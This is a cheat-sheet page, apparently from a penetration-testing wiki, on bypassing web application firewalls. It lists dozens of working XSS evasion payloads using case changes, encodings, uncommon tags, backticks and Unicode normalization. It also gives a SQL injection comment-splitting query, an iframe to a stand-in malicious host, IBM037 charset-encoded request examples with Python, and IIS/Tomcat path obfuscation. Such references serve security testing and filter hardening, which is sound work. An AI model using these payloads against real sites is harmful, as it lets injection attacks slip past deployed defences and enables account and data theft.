WAF Bypass

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Regex Bypasses

Different techniques can be used to bypass the regex filters on the firewalls. Examples include alternating case, adding line breaks, and encoding payloads. Resources for the various bypasses can be found at PayloadsAllTheThings and OWASP. The examples below were pulled from this article.

<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks 
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)

Charset Encoding

# Charset encoding
application/x-www-form-urlencoded;charset=ibm037
multipart/form-data; charset=ibm037,boundary=blah
multipart/form-data; boundary=blah; charset=ibm037

##Python code
import urllib
s = 'payload'
print(urllib.parse.quote_plus(s.encode("IBM037"))) 

## Request example
GET / HTTP/1.1
Host: buggy
Content-Type: application/x-www-form-urlencoded; charset=ibm500
Content-Length: 61

%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n

Obfuscation

# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;

Unicode Compatability

Depending on the implementation of Unicode normalization (more info here), characters that share Unicode compatability may be able to bypass the WAF and execute as the intended payload. Compatible characters can be found here

Example

# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
＜img src⁼p onerror⁼＇prompt⁽1⁾＇﹥  --> ＜img src=p onerror='prompt(1)'>

Exceeding Size Limitations

It's common in cloud based WAFs that if the payload is bigger than X size, the request won't be checked by the WAF. You can simply use that to bypass them.